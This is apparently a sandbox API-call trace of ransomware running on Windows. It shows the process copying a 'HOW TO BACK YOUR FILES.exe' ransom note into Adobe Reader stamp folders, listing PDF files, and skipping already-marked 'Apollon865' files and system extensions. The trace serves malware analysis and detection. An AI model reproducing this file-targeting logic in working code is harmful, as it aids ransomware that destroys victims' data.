	[0057.846] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0057.855] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0057.856] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a8e5e70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a8e5e70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0057.856] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.856] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0057.856] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Dynamic.pdf" | out: lpString1="Dynamic.pdf") returned="Dynamic.pdf"
	[0057.856] lstrlenW (lpString="Dynamic.pdf") returned 11
	[0057.856] lstrlenW (lpString="Apollon865") returned 10
	[0057.856] lstrcmpiW (lpString1="ynamic.pdf", lpString2="Apollon865") returned 1
	[0057.856] lstrlenW (lpString=".dll") returned 4
	[0057.856] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".dll") returned 1
	[0057.856] lstrlenW (lpString=".lnk") returned 4
	[0057.856] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".lnk") returned 1
	[0057.856] lstrlenW (lpString=".ini") returned 4
	[0057.856] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".ini") returned 1
	[0057.856] lstrlenW (lpString=".sys") returned 4
	[0057.856] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".sys") returned 1
	[0057.856] lstrlenW (lpString="Dynamic.pdf") returned 11
	[0057.856] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Faces.pdf" | out: lpString1="Faces.pdf") returned="Faces.pdf"
	[0057.856] lstrlenW (lpString="Faces.pdf") returned 9
	[0057.856] lstrlenW (lpString="Apollon865") returned 10
	[0057.856] lstrlenW (lpString=".dll") returned 4
	[0057.856] lstrcmpiW (lpString1="Faces.pdf", lpString2=".dll") returned 1
	[0057.856] lstrlenW (lpString=".lnk") returned 4
	[0057.856] lstrcmpiW (lpString1="Faces.pdf", lpString2=".lnk") returned 1
	[0057.856] lstrlenW (lpString=".ini") returned 4
	[0057.856] lstrcmpiW (lpString1="Faces.pdf", lpString2=".ini") returned 1
	[0057.857] lstrlenW (lpString=".sys") returned 4
	[0057.857] lstrcmpiW (lpString1="Faces.pdf", lpString2=".sys") returned 1
	[0057.857] lstrlenW (lpString="Faces.pdf") returned 9
	[0057.857] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Pointers.pdf" | out: lpString1="Pointers.pdf") returned="Pointers.pdf"
	[0057.857] lstrlenW (lpString="Pointers.pdf") returned 12
	[0057.857] lstrlenW (lpString="Apollon865") returned 10
	[0057.857] lstrcmpiW (lpString1="inters.pdf", lpString2="Apollon865") returned 1
	[0057.857] lstrlenW (lpString=".dll") returned 4
	[0057.857] lstrcmpiW (lpString1="Pointers.pdf", lpString2=".dll") returned 1
	[0057.857] lstrlenW (lpString=".lnk") returned 4
	[0057.857] lstrcmpiW (lpString1="Pointers.pdf", lpString2=".lnk") returned 1
	[0057.857] lstrlenW (lpString=".ini") returned 4
	[0057.857] lstrcmpiW (lpString1="Pointers.pdf", lpString2=".ini") returned 1
	[0057.857] lstrlenW (lpString=".sys") returned 4
	[0057.857] lstrcmpiW (lpString1="Pointers.pdf", lpString2=".sys") returned 1
	[0057.857] lstrlenW (lpString="Pointers.pdf") returned 12
	[0057.857] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="SignHere.pdf" | out: lpString1="SignHere.pdf") returned="SignHere.pdf"
	[0057.857] lstrlenW (lpString="SignHere.pdf") returned 12
	[0057.857] lstrlenW (lpString="Apollon865") returned 10
	[0057.857] lstrcmpiW (lpString1="gnHere.pdf", lpString2="Apollon865") returned 1
	[0057.857] lstrlenW (lpString=".dll") returned 4
	[0057.857] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".dll") returned 1
	[0057.857] lstrlenW (lpString=".lnk") returned 4
	[0057.857] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".lnk") returned 1
	[0057.857] lstrlenW (lpString=".ini") returned 4
	[0057.857] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".ini") returned 1
	[0057.857] lstrlenW (lpString=".sys") returned 4
	[0057.857] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".sys") returned 1
	[0057.857] lstrlenW (lpString="SignHere.pdf") returned 12
	[0057.858] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Standard.pdf" | out: lpString1="Standard.pdf") returned="Standard.pdf"
	[0057.858] lstrlenW (lpString="Standard.pdf") returned 12
	[0057.858] lstrlenW (lpString="Apollon865") returned 10
	[0057.858] lstrcmpiW (lpString1="andard.pdf", lpString2="Apollon865") returned -1
	[0057.858] lstrlenW (lpString=".dll") returned 4
	[0057.858] lstrcmpiW (lpString1="Standard.pdf", lpString2=".dll") returned 1
	[0057.858] lstrlenW (lpString=".lnk") returned 4
	[0057.858] lstrcmpiW (lpString1="Standard.pdf", lpString2=".lnk") returned 1
	[0057.858] lstrlenW (lpString=".ini") returned 4
	[0057.858] lstrcmpiW (lpString1="Standard.pdf", lpString2=".ini") returned 1
	[0057.858] lstrlenW (lpString=".sys") returned 4
	[0057.858] lstrcmpiW (lpString1="Standard.pdf", lpString2=".sys") returned 1
	[0057.858] lstrlenW (lpString="Standard.pdf") returned 12
	[0057.858] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="StandardBusiness.pdf" | out: lpString1="StandardBusiness.pdf") returned="StandardBusiness.pdf"
	[0057.858] lstrlenW (lpString="StandardBusiness.pdf") returned 20
	[0057.858] lstrlenW (lpString="Apollon865") returned 10
	[0057.858] lstrcmpiW (lpString1="siness.pdf", lpString2="Apollon865") returned 1
	[0057.858] lstrlenW (lpString=".dll") returned 4
	[0057.858] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".dll") returned 1
	[0057.858] lstrlenW (lpString=".lnk") returned 4
	[0057.858] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".lnk") returned 1
	[0057.858] lstrlenW (lpString=".ini") returned 4
	[0057.858] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".ini") returned 1
	[0057.858] lstrlenW (lpString=".sys") returned 4
	[0057.858] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".sys") returned 1
	[0057.858] lstrlenW (lpString="StandardBusiness.pdf") returned 20
	[0057.859] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY"
	[0057.859] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cb3c0 | out: hHeap=0x580000) returned 1
	[0057.859] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbe8 | out: hHeap=0x580000) returned 1
	[0057.859] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY") returned 79
	[0057.859] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY"
	[0057.859] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0057.859] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0057.866] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0057.867] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a90bfd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a90bfd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0057.867] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.867] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0057.867] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Dynamic.pdf" | out: lpString1="Dynamic.pdf") returned="Dynamic.pdf"
	[0057.867] lstrlenW (lpString="Dynamic.pdf") returned 11
	[0057.867] lstrlenW (lpString="Apollon865") returned 10
	[0057.867] lstrcmpiW (lpString1="ynamic.pdf", lpString2="Apollon865") returned 1
	[0057.867] lstrlenW (lpString=".dll") returned 4
	[0057.867] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".dll") returned 1
	[0057.867] lstrlenW (lpString=".lnk") returned 4
	[0057.867] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".lnk") returned 1
	[0057.867] lstrlenW (lpString=".ini") returned 4
	[0057.867] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".ini") returned 1
	[0057.867] lstrlenW (lpString=".sys") returned 4
	[0057.867] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".sys") returned 1
	[0057.867] lstrlenW (lpString="Dynamic.pdf") returned 11
	[0057.867] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Faces.pdf" | out: lpString1="Faces.pdf") returned="Faces.pdf"
	[0057.867] lstrlenW (lpString="Faces.pdf") returned 9
	[0057.867] lstrlenW (lpString="Apollon865") returned 10
	[0057.867] lstrlenW (lpString=".dll") returned 4
	[0057.867] lstrcmpiW (lpString1="Faces.pdf", lpString2=".dll") returned 1
	[0057.867] lstrlenW (lpString=".lnk") returned 4
	[0057.867] lstrcmpiW (lpString1="Faces.pdf", lpString2=".lnk") returned 1
	[0057.868] lstrlenW (lpString=".ini") returned 4
	[0057.868] lstrcmpiW (lpString1="Faces.pdf", lpString2=".ini") returned 1
	[0057.868] lstrlenW (lpString=".sys") returned 4
	[0057.868] lstrcmpiW (lpString1="Faces.pdf", lpString2=".sys") returned 1
	[0057.868] lstrlenW (lpString="Faces.pdf") returned 9
	[0057.868] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Pointers.pdf" | out: lpString1="Pointers.pdf") returned="Pointers.pdf"
	[0057.868] lstrlenW (lpString="Pointers.pdf") returned 12
	[0057.868] lstrlenW (lpString="Apollon865") returned 10
	[0057.868] lstrcmpiW (lpString1="inters.pdf", lpString2="Apollon865") returned 1
	[0057.868] lstrlenW (lpString=".dll") returned 4
	[0057.868] lstrcmpiW (lpString1="Pointers.pdf", lpString2=".dll") returned 1
	[0057.868] lstrlenW (lpString=".lnk") returned 4
	[0057.868] lstrcmpiW (lpString1="Pointers.pdf", lpString2=".lnk") returned 1
	[0057.868] lstrlenW (lpString=".ini") returned 4
	[0057.868] lstrcmpiW (lpString1="Pointers.pdf", lpString2=".ini") returned 1
	[0057.868] lstrlenW (lpString=".sys") returned 4
	[0057.868] lstrcmpiW (lpString1="Pointers.pdf", lpString2=".sys") returned 1
	[0057.868] lstrlenW (lpString="Pointers.pdf") returned 12
	[0057.868] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="SignHere.pdf" | out: lpString1="SignHere.pdf") returned="SignHere.pdf"
	[0057.868] lstrlenW (lpString="SignHere.pdf") returned 12
	[0057.868] lstrlenW (lpString="Apollon865") returned 10
	[0057.868] lstrcmpiW (lpString1="gnHere.pdf", lpString2="Apollon865") returned 1
	[0057.868] lstrlenW (lpString=".dll") returned 4
	[0057.868] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".dll") returned 1
	[0057.868] lstrlenW (lpString=".lnk") returned 4
	[0057.868] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".lnk") returned 1
	[0057.868] lstrlenW (lpString=".ini") returned 4
	[0057.868] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".ini") returned 1
	[0057.868] lstrlenW (lpString=".sys") returned 4
	[0057.868] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".sys") returned 1
	[0057.869] lstrlenW (lpString="SignHere.pdf") returned 12
	[0057.869] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Standard.pdf" | out: lpString1="Standard.pdf") returned="Standard.pdf"
	[0057.869] lstrlenW (lpString="Standard.pdf") returned 12
	[0057.869] lstrlenW (lpString="Apollon865") returned 10
	[0057.869] lstrcmpiW (lpString1="andard.pdf", lpString2="Apollon865") returned -1
	[0057.869] lstrlenW (lpString=".dll") returned 4
	[0057.869] lstrcmpiW (lpString1="Standard.pdf", lpString2=".dll") returned 1
	[0057.869] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="StandardBusiness.pdf" | out: lpString1="StandardBusiness.pdf") returned="StandardBusiness.pdf"
	[0057.869] lstrlenW (lpString="StandardBusiness.pdf") returned 20
	[0057.869] lstrlenW (lpString="Apollon865") returned 10
	[0057.869] lstrcmpiW (lpString1="siness.pdf", lpString2="Apollon865") returned 1
	[0057.869] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS"
	[0057.869] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cb318 | out: hHeap=0x580000) returned 1
	[0057.869] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0057.869] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS") returned 79
	[0057.869] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS"
	[0057.869] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0057.869] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0057.877] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0057.877] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80672960, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a90bfd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a90bfd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0057.877] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.877] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0057.877] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Dynamic.pdf" | out: lpString1="Dynamic.pdf") returned="Dynamic.pdf"
	[0057.877] lstrlenW (lpString="Dynamic.pdf") returned 11
	[0057.877] lstrlenW (lpString="Apollon865") returned 10
	[0057.877] lstrcmpiW (lpString1="ynamic.pdf", lpString2="Apollon865") returned 1
	[0057.877] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Faces.pdf" | out: lpString1="Faces.pdf") returned="Faces.pdf"
	[0057.877] lstrlenW (lpString="Faces.pdf") returned 9
	[0057.877] lstrlenW (lpString="Apollon865") returned 10
	[0057.878] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Pointers.pdf" | out: lpString1="Pointers.pdf") returned="Pointers.pdf"
	[0057.878] lstrlenW (lpString="Pointers.pdf") returned 12
	[0057.878] lstrlenW (lpString="Apollon865") returned 10
	[0057.878] lstrcmpiW (lpString1="inters.pdf", lpString2="Apollon865") returned 1
	[0057.878] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="SignHere.pdf" | out: lpString1="SignHere.pdf") returned="SignHere.pdf"
	[0057.878] lstrlenW (lpString="SignHere.pdf") returned 12
	[0057.878] lstrlenW (lpString="Apollon865") returned 10
	[0057.878] lstrcmpiW (lpString1="gnHere.pdf", lpString2="Apollon865") returned 1
	[0057.878] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Standard.pdf" | out: lpString1="Standard.pdf") returned="Standard.pdf"
	[0057.878] lstrlenW (lpString="Standard.pdf") returned 12
	[0057.878] lstrlenW (lpString="Apollon865") returned 10
	[0057.878] lstrcmpiW (lpString1="andard.pdf", lpString2="Apollon865") returned -1
	[0057.878] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="StandardBusiness.pdf" | out: lpString1="StandardBusiness.pdf") returned="StandardBusiness.pdf"
	[0057.878] lstrlenW (lpString="StandardBusiness.pdf") returned 20
	[0057.878] lstrlenW (lpString="Apollon865") returned 10
	[0057.878] lstrcmpiW (lpString1="siness.pdf", lpString2="Apollon865") returned 1
	[0057.878] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM"
	[0057.878] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cb270 | out: hHeap=0x580000) returned 1
	[0057.878] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0057.878] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM") returned 79
	[0057.878] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM"
	[0057.878] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0057.878] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0057.945] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0057.945] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80698ac0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a9ca6b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a9ca6b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0057.945] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.945] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0057.946] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Dynamic.pdf" | out: lpString1="Dynamic.pdf") returned="Dynamic.pdf"
	[0057.946] lstrlenW (lpString="Dynamic.pdf") returned 11
	[0057.946] lstrlenW (lpString="Apollon865") returned 10
	[0057.946] lstrcmpiW (lpString1="ynamic.pdf", lpString2="Apollon865") returned 1
	[0057.946] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Faces.pdf" | out: lpString1="Faces.pdf") returned="Faces.pdf"
	[0057.946] lstrlenW (lpString="Faces.pdf") returned 9
	[0057.946] lstrlenW (lpString="Apollon865") returned 10
	[0057.946] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Pointers.pdf" | out: lpString1="Pointers.pdf") returned="Pointers.pdf"
	[0057.946] lstrlenW (lpString="Pointers.pdf") returned 12
	[0057.946] lstrlenW (lpString="Apollon865") returned 10
	[0057.946] lstrcmpiW (lpString1="inters.pdf", lpString2="Apollon865") returned 1
	[0057.946] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="SignHere.pdf" | out: lpString1="SignHere.pdf") returned="SignHere.pdf"
	[0057.946] lstrlenW (lpString="SignHere.pdf") returned 12
	[0057.946] lstrlenW (lpString="Apollon865") returned 10
	[0057.947] lstrcmpiW (lpString1="gnHere.pdf", lpString2="Apollon865") returned 1
	[0057.947] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Standard.pdf" | out: lpString1="Standard.pdf") returned="Standard.pdf"
	[0057.947] lstrlenW (lpString="Standard.pdf") returned 12
	[0057.947] lstrlenW (lpString="Apollon865") returned 10
	[0057.947] lstrcmpiW (lpString1="andard.pdf", lpString2="Apollon865") returned -1
	[0057.947] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="StandardBusiness.pdf" | out: lpString1="StandardBusiness.pdf") returned="StandardBusiness.pdf"
	[0057.947] lstrlenW (lpString="StandardBusiness.pdf") returned 20
	[0057.947] lstrlenW (lpString="Apollon865") returned 10
	[0057.947] lstrcmpiW (lpString1="siness.pdf", lpString2="Apollon865") returned 1
	[0057.947] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB"
	[0057.947] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cb1c8 | out: hHeap=0x580000) returned 1
	[0057.947] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd68 | out: hHeap=0x580000) returned 1
	[0057.947] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB") returned 79
	[0057.947] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB"
	[0057.947] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0057.947] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0057.992] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0057.992] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff748c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3aa16970, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3aa16970, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0057.993] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.993] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0057.993] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Dynamic.pdf" | out: lpString1="Dynamic.pdf") returned="Dynamic.pdf"
	[0057.993] lstrlenW (lpString="Dynamic.pdf") returned 11
	[0057.993] lstrlenW (lpString="Apollon865") returned 10
	[0057.993] lstrcmpiW (lpString1="ynamic.pdf", lpString2="Apollon865") returned 1
	[0057.993] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="SignHere.pdf" | out: lpString1="SignHere.pdf") returned="SignHere.pdf"
	[0057.993] lstrlenW (lpString="SignHere.pdf") returned 12
	[0057.993] lstrlenW (lpString="Apollon865") returned 10
	[0057.993] lstrcmpiW (lpString1="gnHere.pdf", lpString2="Apollon865") returned 1
	[0057.993] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="StandardBusiness.pdf" | out: lpString1="StandardBusiness.pdf") returned="StandardBusiness.pdf"
	[0057.993] lstrlenW (lpString="StandardBusiness.pdf") returned 20
	[0057.993] lstrlenW (lpString="Apollon865") returned 10
	[0057.993] lstrcmpiW (lpString1="siness.pdf", lpString2="Apollon865") returned 1
